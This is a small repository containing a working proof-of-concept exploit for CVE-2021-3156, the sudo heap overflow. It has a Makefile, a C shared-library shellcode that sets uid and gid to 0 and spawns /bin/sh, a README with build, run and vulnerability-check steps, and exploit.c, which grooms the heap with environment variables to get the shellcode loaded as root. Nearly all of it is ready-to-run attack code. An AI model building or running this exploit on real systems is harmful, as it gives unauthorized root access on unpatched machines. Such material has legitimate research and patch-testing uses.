├── Makefile ├── shellcode.c ├── README.md └── exploit.c /Makefile: -------------------------------------------------------------------------------- 1 | all: shellcode exploit 2 | 3 | shellcode: shellcode.c 4 | mkdir libnss_x 5 | $(CC) -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c 6 | 7 | exploit: exploit.c 8 | $(CC) -O3 -o exploit exploit.c 9 | 10 | clean: 11 | rm -rf libnss_x exploit 12 | -------------------------------------------------------------------------------- /shellcode.c: -------------------------------------------------------------------------------- 1 | static void __attribute__((constructor)) _init(void) { 2 | __asm __volatile__( 3 | "addq $64, %rsp;" 4 | // setuid(0); 5 | "movq $105, %rax;" 6 | "movq $0, %rdi;" 7 | "syscall;" 8 | // setgid(0); 9 | "movq $106, %rax;" 10 | "movq $0, %rdi;" 11 | "syscall;" 12 | // execve("/bin/sh"); 13 | "movq $59, %rax;" 14 | "movq $0x0068732f6e69622f, %rdi;" 15 | "pushq %rdi;" 16 | "movq %rsp, %rdi;" 17 | "movq $0, %rdx;" 18 | "pushq %rdx;" 19 | "pushq %rdi;" 20 | "movq %rsp, %rsi;" 21 | "syscall;" 22 | // exit(0); 23 | "movq $60, %rax;" 24 | "movq $0, %rdi;" 25 | "syscall;"); 26 | } 27 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2021-3156 2 | #### Root shell PoC for CVE-2021-3156 (no bruteforce) 3 | For educational purposes etc. 4 | 5 | Tested on Ubuntu 20.04 against sudo 1.8.31 6 | 7 | All research credit: **Qualys Research Team** 8 | Check out the details on their [blog](https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit). 9 | 10 | You can check your version of sudo is vulnerable with: `$ sudoedit -s Y`. 11 | If it asks for your password it's most likely vulnerable, if it prints usage information it isn't. 12 | You can downgrade to the vulnerable version on Ubuntu 20.04 for testing purposes with `$ sudo apt install sudo=1.8.31-1ubuntu1` 13 | 14 | #### Usage 15 | `$ make` 16 | 17 | `$ ./exploit` 18 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | #include // execve() 2 | #include // strcat() 3 | 4 | /* Exploit for CVE-2021-3156, drops a root shell. 5 | * All credit for original research: Qualys Research Team. 6 | * https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit 7 | * 8 | * Tested on Ubuntu 20.04 against sudo 1.8.31 9 | * Author: Max Kamper 10 | */ 11 | 12 | void main(void) { 13 | 14 | // 'buf' size determines size of overflowing chunk. 15 | // This will allocate an 0xf0-sized chunk before the target service_user struct. 16 | int i; 17 | char buf[0xf0] = {0}; 18 | memset(buf, 'Y', 0xe0); 19 | strcat(buf, "\\"); 20 | 21 | char* argv[] = { 22 | "sudoedit", 23 | "-s", 24 | buf, 25 | NULL}; 26 | 27 | // Use some LC_ vars for heap Feng-Shui. 28 | // This should allocate the target service_user struct in the path of the overflow. 29 | char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"}; 30 | memset(messages + strlen(messages), 'A', 0xb8); 31 | 32 | char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"}; 33 | memset(telephone + strlen(telephone), 'A', 0x28); 34 | 35 | char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"}; 36 | memset(measurement + strlen(measurement), 'A', 0x28); 37 | 38 | // This environment variable will be copied onto the heap after the overflowing chunk. 39 | // Use it to bridge the gap between the overflow and the target service_user struct. 40 | char overflow[0x500] = {0}; 41 | memset(overflow, 'X', 0x4cf); 42 | strcat(overflow, "\\"); 43 | 44 | // Overwrite the 'files' service_user struct's name with the path of our shellcode library. 45 | // The backslashes write nulls which are needed to dodge a couple of crashes. 46 | char* envp[] = { 47 | overflow, 48 | "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", 49 | "XXXXXXX\\", 50 | "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", 51 | "\\", "\\", "\\", "\\", "\\", "\\", "\\", 52 | "x/x\\", 53 | "Z", 54 | messages, 55 | telephone, 56 | measurement, 57 | NULL}; 58 | 59 | // Invoke sudoedit with our argv & envp. 60 | execve("/usr/bin/sudoedit", argv, envp); 61 | } 62 | --------------------------------------------------------------------------------